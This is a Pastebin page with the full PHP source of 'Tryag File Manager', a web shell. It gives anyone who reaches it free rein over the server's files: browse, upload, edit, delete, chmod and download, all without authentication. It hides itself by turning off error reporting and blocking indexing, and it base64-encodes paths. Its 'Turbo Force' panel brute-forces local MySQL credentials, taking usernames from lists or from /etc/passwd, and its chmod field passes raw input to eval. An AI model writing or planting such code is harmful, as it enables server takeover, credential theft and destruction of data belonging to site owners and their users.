Advertisement
AnonYmous-IQ

Tryag File Manager

Sep 19th, 2017
1,907
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 18.90 KB | None | 0 0
  1. <?php
  2. error_reporting(0);
  3. set_time_limit(0);
  4. extract(start());
  5. if(get_magic_quotes_gpc()){
  6. foreach($_POST as $key=>$value){
  7. $_POST[$key] = stripslashes($value);
  8. }
  9. }
  10. $_POST['path'] = (isset($_POST['path'])) ? g22b_crypt($_POST['path'],'de') : false;
  11. $_POST['name'] = (isset($_POST['name'])) ? g22b_crypt($_POST['name'],'de') : false;
  12. if(isset($_GET['option']) && $_POST['opt'] == 'download'){
  13. header('Content-type: text/plain');
  14. header('Content-Disposition: attachment; filename="'.$_POST['name'].'"');
  15. echo(file_get_contents($_POST['path']));
  16. exit();
  17. }
  18. echo '<!DOCTYPE html>
  19. <html>
  20. <head>
  21. <title>Tryag File Manager</title>
  22. <meta name="robots" content="noindex" />
  23. <style>
  24. body{
  25. font-family: "Racing Sans One", cursive;
  26. background-color: #e6e6e6;
  27. text-shadow:0px 0px 1px #757575;
  28. margin: 0;
  29. }
  30. #container{
  31. width: 700px;
  32. margin: 20px auto;
  33. border: 1px solid black;
  34. }
  35. @font-face {
  36. font-family: \'Racing Sans One\';
  37. font-style: normal;
  38. font-weight: 400;
  39. src: local(\'Racing Sans One\'), local(\'RacingSansOne-Regular\'), url(http://g22b.cc/upload/1r3DpWaCiT7y3PD4KgkNyK3fkYX5z1QtDUdIWoaaD_k.woff) format(\'woff\');
  40. }
  41. #header{
  42. text-align: center;
  43. border-bottom: 1px dotted black;
  44. }
  45. #header h1{
  46. margin: 0;
  47. }
  48.  
  49. #nav,#menu{
  50. padding-top: 5px;
  51. margin-left: 5px;
  52. padding-bottom: 5px;
  53. overflow: hidden;
  54. border-bottom: 1px dotted black;
  55. }
  56. #nav{
  57. margin-bottom: 10px;
  58. }
  59.  
  60. #menu{
  61. text-align: center;
  62. }
  63.  
  64. #content{
  65. margin: 0;
  66. }
  67.  
  68. #content table{
  69. width: 700px;
  70. margin: 0px;
  71. }
  72. #content table .first{
  73. background-color: silver;
  74. text-align: center;
  75. }
  76. #content table .first:hover{
  77. background-color: silver;
  78. text-shadow:0px 0px 1px #757575;
  79. }
  80. #content table tr:hover{
  81. background-color: #636263;
  82. text-shadow:0px 0px 10px #fff;
  83. }
  84.  
  85. #footer{
  86. margin-top: 10px;
  87. border-top: 1px dotted black;
  88. }
  89. #footer p{
  90. margin: 5px;
  91. text-align: center;
  92. }
  93. .filename,a{
  94. color: #000;
  95. text-decoration: none;
  96. cursor: pointer;
  97. }
  98. .filename:hover,a:hover{
  99. color: #fff;
  100. text-shadow:0px 0px 10px #ffffff;
  101. }
  102. .center{
  103. text-align: center;
  104. }
  105. input,select,textarea{
  106. border: 1px #000000 solid;
  107. -moz-border-radius: 5px;
  108. -webkit-border-radius:5px;
  109. border-radius:5px;
  110. }
  111. </style>
  112. <script>
  113. function Encoder(name)
  114. {
  115. var e = document.getElementById(name);
  116. e.value = btoa(e.value);
  117. return true;
  118. }
  119. </script>
  120. </head>
  121. <body>
  122.  
  123. <div id="container">
  124. <div id="header"><h1>Tryag File Manager</h1></div>
  125. <div id="menu"><a href="?path='.$currentpathen.'">Home</a> - <a href="?path='.$currentpathen.'&cpanel">Turbo Force</a></div>
  126. <div id="nav">
  127. <div class="path">Current Path : '.nav_link().'</div>
  128. <div class="upload">
  129. <form enctype="multipart/form-data" method="POST" action="?path='.$currentpathen.'&up">
  130. Upload File : <input type="file" name="file" />
  131. <input type="submit" value="upload" />
  132. </form>
  133. </div>
  134. <div class="new">
  135. <form method="POST" action="?path='.$currentpathen.'&new" onSubmit="Encoder(\'c\')">
  136. <span>New : </span><input name="name" type="text" size="10" id="c" />
  137. File <input type="radio" name="type" value="file" checked/>
  138. Dir <input type="radio" name="type" value="dir" />
  139. <input type="submit" value="Create" />
  140. </form>
  141. </div>
  142. </div>
  143. <div id="content">';
  144. if(isset($_GET['cpanel'])){
  145. if(isset($_POST['usernames']) && isset($_POST['passwords'])){
  146. $usernames = base64_decode($_POST['usernames']);
  147. $passwords = base64_decode($_POST['passwords']);
  148. $count = 0;
  149. foreach(explode("\n",$usernames) as $username){
  150. $username = ($_POST['type'] == 'simple') ? $username : passwdtouser($username);
  151. foreach(explode("\n",$passwords) as $password){
  152. $username = trim($username);
  153. $password = trim($password);
  154. $co = mysql_connect('localhost',$username,$password);
  155. if($co){
  156. mysql_close($co);
  157. echo "Tryag~ Username (<font color=red>$username</font>) Password (<font color=red>$password</font>)<br />";
  158. $count++;
  159. }
  160. }
  161. }
  162. echo "$count Usernames Founded.";
  163. }else{
  164. echo '<form method="POST" onSubmit="Encoder(\'c\');Encoder(\'b\');">
  165. Usernames : <br />
  166. <textarea cols=84 rows=10 id="c" name="usernames"></textarea><br />
  167. Passwords : <br />
  168. <textarea cols=84 rows=10 id="b" name="passwords"></textarea><br />
  169. Usernames Type : Simple : <input type="radio" name="type" value="simple" checked="checked"> - /etc/passwd : <input type="radio" name="type" value="pass">
  170. <br /><input type="submit" value="Go">
  171. </form>';
  172. }
  173. }else{
  174.  
  175. if(isset($_GET['filesrc'])){
  176. $file = g22b_crypt($_GET['filesrc'],'de');
  177. echo '<div class="center">'.htmlspecialchars($file).'</div><textarea cols="84" rows="25">'.filesrc($file).'</textarea></pre>';
  178. }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete' || (isset($_GET['new']) && $_POST['type'] == 'file')){
  179.  
  180. echo '<div class="center">'.$_POST['name'].'<br />';
  181.  
  182. if($_POST['opt'] == 'chmod'){
  183. if(isset($_POST['perm'])){
  184.  
  185. eval('$perm = '.$_POST['perm'].';');
  186. if(chmod($_POST['path'],$perm)){
  187. echo '<font color="green">Change Permission Done.</font><br />';
  188. $permdone = true;
  189. }else{
  190. echo '<font color="red">Change Permission Error.</font><br />';
  191. }
  192. }
  193. if($permdone){
  194. $perm = $_POST['perm'];
  195. }else{
  196. $perm = substr(sprintf('%o', fileperms($_POST['path'])), -4);
  197. }
  198.  
  199. echo '<form method="POST">
  200. Permission : <input name="perm" type="text" size="4" value="'.$perm.'" />
  201. <input type="hidden" name="path" value="'.g22b_crypt($_POST['path'],'en').'">
  202. <input type="hidden" name="name" value="'.g22b_crypt($_POST['name'],'en').'">
  203. <input type="hidden" name="opt" value="chmod">
  204. <input type="submit" value="Go" />
  205. </form>';
  206. }elseif($_POST['opt'] == 'rename'){
  207.  
  208. if(isset($_POST['newname'])){
  209. if(rename($_POST['path'],$currentpath.'/'.$_POST['newname'])){
  210. echo '<font color="green">Change Name Done.</font><br />';
  211. $_POST['name'] = $_POST['newname'];
  212. }else{
  213. echo '<font color="red">Change Name Error.</font><br />';
  214. }
  215. }
  216.  
  217. echo '<form method="POST">
  218. New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
  219. <input type="hidden" name="path" value="'.g22b_crypt($_POST['path'],'en').'">
  220. <input type="hidden" name="name" value="'.g22b_crypt($_POST['name'],'en').'">
  221. <input type="hidden" name="opt" value="rename">
  222. <input type="submit" value="Go" />
  223. </form>';
  224. }elseif($_POST['opt'] == 'edit' || isset($_GET['new'])){
  225. if(isset($_POST['src'])){
  226. $fp = fopen($_POST['path'],'w');
  227. if(fwrite($fp,base64_decode($_POST['src']))){
  228. echo '<font color="green">Edit File Done.</font><br />';
  229. $done = true;
  230. }else{
  231. echo '<font color="red">Edit File Error.</font><br />';
  232. }
  233. fclose($fp);
  234. }
  235. if(isset($_GET['new']) && !$done){
  236. $filecontent = '';
  237. $_POST['path'] = "$currentpath/$_POST[name]";
  238. }else{
  239. $filecontent = filesrc($_POST['path']);
  240. }
  241. echo '<form method="POST" onSubmit="Encoder(\'c\')">
  242. <textarea cols="84" rows="25" name="src" id="c">'.$filecontent.'</textarea><br />
  243. <input type="hidden" name="path" value="'.g22b_crypt($_POST['path'],'en').'">
  244. <input type="hidden" name="name" value="'.g22b_crypt($_POST['name'],'en').'">
  245. <input type="hidden" name="type" value="file" />
  246. <input type="hidden" name="opt" value="edit">
  247. <input type="submit" value="Go" />
  248. </form>';
  249. }
  250.  
  251. echo '</div>';
  252. }else{
  253. echo '<div class="center">';
  254. if($_POST['opt'] == 'delete'){
  255. if($_POST['type'] == 'dir'){
  256. if(rmdir($_POST['path'])){
  257. echo '<font color="green">Delete Dir Done.</font><br />';
  258. }else{
  259. echo '<font color="red">Delete Dir Error.</font><br />';
  260. }
  261. }elseif($_POST['type'] == 'file'){
  262. if(unlink($_POST['path'])){
  263. echo '<font color="green">Delete File Done.</font><br />';
  264. }else{
  265. echo '<font color="red">Delete File Error.</font><br />';
  266. }
  267. }
  268. }elseif($_POST['type'] == 'dir' && isset($_GET['new'])){
  269. if(mkdir("$currentpath/$_POST[name]")){
  270. echo '<font color="green">Create Dir Done.</font><br />';
  271. }else{
  272. echo '<font color="red">Create Dir Error.</font><br />';
  273. }
  274. }elseif(isset($_FILES['file'])){
  275. $userfile_name = $currentpath.'/'.$_FILES['file']['name'];
  276. $userfile_tmp = $_FILES['file']['tmp_name'];
  277. if(move_uploaded_file($userfile_tmp,$userfile_name)){
  278. echo '<font color="green">File Upload Done.</font><br />';
  279. }else{
  280. echo '<font color="red">File Upload Error.</font><br />';
  281. }
  282. }
  283. echo '</div><table>
  284. <tr class="first">
  285. <td>Name</td>
  286. <td>Size</td>
  287. <td>Permissions</td>
  288. <td>Options</td>
  289. </tr>';
  290.  
  291. $dirs = getfiles('dir');
  292. foreach($dirs as $dir){
  293. echo '<div id="dirs"><tr>
  294. <td><a href="?path='.$dir['link'].'"><div class="filename">'.$dir['name'].'</div></a></td>
  295. <td class="center">'.$dir['size'].'</td>
  296. <td class="center"><font color="'.$dir['permcolor'].'">'.$dir['perm'].'</font></td>
  297. <td class="center"><form method="POST" action="?path='.$currentpathen.'&option">
  298. <select name="opt">
  299. <option value=""></option>
  300. <option value="delete">Delete</option>
  301. <option value="chmod">Chmod</option>
  302. <option value="rename">Rename</option>
  303. </select>
  304. <input type="hidden" name="type" value="dir">
  305. <input type="hidden" name="name" value="'.g22b_crypt($dir['name'],'en').'">
  306. <input type="hidden" name="path" value="'.$dir['link'].'">
  307. <input type="submit" value=">" />
  308. </form></td>
  309. </tr>
  310. </div>';
  311. }
  312. echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
  313.  
  314. $files = getfiles('file');
  315. foreach($files as $file){
  316. echo '<div id="files">
  317.  
  318. <tr>
  319. <td><a href="?path='.$currentpathen.'&filesrc='.$file['link'].'"><div class="filename">'.$file['name'].'</div></a></td>
  320. <td class="center">'.$file['size'].'</td>
  321. <td class="center"><font color="'.$file['permcolor'].'">'.$file['perm'].'</font></td>
  322. <td class="center"><form method="POST" action="?path='.$currentpathen.'&option">
  323. <select name="opt">
  324. <option value=""></option>
  325. <option value="delete">Delete</option>
  326. <option value="chmod">Chmod</option>
  327. <option value="rename">Rename</option>
  328. <option value="edit">Edit</option>
  329. <option value="download">Download</option>
  330. </select>
  331. <input type="hidden" name="type" value="file">
  332. <input type="hidden" name="name" value="'.g22b_crypt($file['name'],'en').'">
  333. <input type="hidden" name="path" value="'.$file['link'].'">
  334. <input type="submit" value=">" />
  335. </form></td>
  336. </tr></div>';
  337. }
  338. echo '</table>';
  339. }
  340. }
  341. echo '</div>
  342. <div id="footer"><p>Tryag File Manager Version <font color="red">2.0</font>, Coded By <font color="red">G-B</font><br />Email: <font color="red">anonymousiq87@gmail.com</font></p></div>
  343. </div>
  344.  
  345. </body>
  346. </html>';
  347.  
  348. function getfiles($type){
  349. global $currentpath;
  350. $dir = scandir($currentpath);
  351. $result = array();
  352. foreach($dir as $file){
  353. $current['fullname'] = "$currentpath/$file";
  354. if($type == 'dir'){
  355. if(!is_dir($current['fullname']) || $file == '.' || $file == '..') continue;
  356. }elseif($type == 'file'){
  357. if(!is_file($current['fullname'])) continue;
  358. }
  359.  
  360. $current['name'] = $file;
  361. $current['link'] = g22b_crypt($current['fullname'],'en');
  362. $current['size'] = (is_dir($current['fullname'])) ? '--' : file_size($current['fullname']);
  363. $current['perm'] = perms($current['fullname']);
  364. if(is_writable($current['fullname'])){
  365. $current['permcolor'] = 'green';
  366. }elseif(is_readable($current['fullname'])){
  367. $current['permcolor'] = '';
  368. }else{
  369. $current['permcolor'] = 'red';
  370. }
  371.  
  372. $result[] = $current;
  373.  
  374. }
  375. return $result;
  376. }
  377. function start(){
  378. global $_POST,$_GET;
  379.  
  380. $result['currentpath'] = (isset($_GET['path'])) ? g22b_crypt($_GET['path'],'de') : cwd();
  381. $result['currentpathen'] = (isset($_GET['path'])) ? $_GET['path'] : g22b_crypt(cwd(),'en');
  382.  
  383. return $result;
  384. }
  385. function file_size($file){
  386. $size = filesize($file)/1024;
  387. $size = round($size,3);
  388. if($size >= 1024){
  389. $size = round($size/1024,2).' MB';
  390. }else{
  391. $size = $size.' KB';
  392. }
  393. return $size;
  394. }
  395. function g22b_crypt($txt,$type){
  396. if(function_exists('base64_encode') && function_exists('base64_decode')){
  397. return ($type == 'en') ? base64_encode($txt) : base64_decode($txt);
  398. }elseif(function_exists('strlen') && function_exists('dechex') && function_exists('ord') && function_exists('chr') && function_exists('hexdec')){
  399. return ($type == 'en') ? strToHex($txt) : hexToStr($txt);
  400. }else{
  401. $ar1 = array('public_html','.htaccess','/','.');
  402. $ar2 = array('bbbpubghostbbb','bbbhtaghostbbb','bbbsghostbbb','bbbdotghostbbb');
  403. return ($type == 'en') ? str_replace($ar1,$ar2,$txt) : str_replace($ar2,$ar1,$txt);
  404. }
  405. }
  406. function strToHex($string){
  407. $hex='';
  408. for ($i=0; $i < strlen($string); $i++)
  409. {
  410. $hex .= dechex(ord($string[$i]));
  411. }
  412. return $hex;
  413. }
  414. function hexToStr($hex){
  415. $string='';
  416. for ($i=0; $i < strlen($hex)-1; $i+=2)
  417. {
  418. $string .= chr(hexdec($hex[$i].$hex[$i+1]));
  419. }
  420. return $string;
  421. }
  422. function nav_link(){
  423. global $currentpath;
  424. $path = $currentpath;
  425. $path = str_replace('\\','/',$path);
  426. $paths = explode('/',$path);
  427. $result = '';
  428. foreach($paths as $id=>$pat){
  429. if($pat == '' && $id == 0){
  430. $a = true;
  431. $result .= '<a href="?path='.g22b_crypt("/",'en').'">/</a>';
  432. continue;
  433. }
  434. if($pat == '') continue;
  435. $result .= '<a href="?path=';
  436. $linkpath = '';
  437. for($i=0;$i<=$id;$i++){
  438. $linkpath .= "$paths[$i]";
  439. if($i != $id) $linkpath .= "/";
  440. }
  441. $result .= g22b_crypt($linkpath,'en');
  442. $result .= '">'.$pat.'</a>/';
  443. }
  444. return $result;
  445. }
  446. function filesrc($file){
  447. return htmlspecialchars(file_get_contents($file));
  448. }
  449. function cwd(){
  450. if(function_exists('getcwd')){
  451. return getcwd();
  452. }else{
  453. $e = str_replace("\\","/",$path);
  454. $e = explode('/',$path);
  455. $result = '';
  456. for($i=0;$i<count($e)-1;$i++){
  457. if($e[$i] == '') continue;
  458. $result .= '/'.$e[$i];
  459. }
  460. return $result;
  461. }
  462. }
  463. function passwdtouser($line){
  464. $user = explode(':',$line);
  465. return $user[0];
  466. }
  467. function perms($file){
  468. $perms = @fileperms($file);
  469.  
  470. if (($perms & 0xC000) == 0xC000) {
  471. // Socket
  472. $info = 's';
  473. } elseif (($perms & 0xA000) == 0xA000) {
  474. // Symbolic Link
  475. $info = 'l';
  476. } elseif (($perms & 0x8000) == 0x8000) {
  477. // Regular
  478. $info = '-';
  479. } elseif (($perms & 0x6000) == 0x6000) {
  480. // Block special
  481. $info = 'b';
  482. } elseif (($perms & 0x4000) == 0x4000) {
  483. // Directory
  484. $info = 'd';
  485. } elseif (($perms & 0x2000) == 0x2000) {
  486. // Character special
  487. $info = 'c';
  488. } elseif (($perms & 0x1000) == 0x1000) {
  489. // FIFO pipe
  490. $info = 'p';
  491. } else {
  492. // Unknown
  493. $info = 'u';
  494. }
  495.  
  496. // Owner
  497. $info .= (($perms & 0x0100) ? 'r' : '-');
  498. $info .= (($perms & 0x0080) ? 'w' : '-');
  499. $info .= (($perms & 0x0040) ?
  500. (($perms & 0x0800) ? 's' : 'x' ) :
  501. (($perms & 0x0800) ? 'S' : '-'));
  502.  
  503. // Group
  504. $info .= (($perms & 0x0020) ? 'r' : '-');
  505. $info .= (($perms & 0x0010) ? 'w' : '-');
  506. $info .= (($perms & 0x0008) ?
  507. (($perms & 0x0400) ? 's' : 'x' ) :
  508. (($perms & 0x0400) ? 'S' : '-'));
  509.  
  510. // World
  511. $info .= (($perms & 0x0004) ? 'r' : '-');
  512. $info .= (($perms & 0x0002) ? 'w' : '-');
  513. $info .= (($perms & 0x0001) ?
  514. (($perms & 0x0200) ? 't' : 'x' ) :
  515. (($perms & 0x0200) ? 'T' : '-'));
  516.  
  517. return $info;
  518. }
  519. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement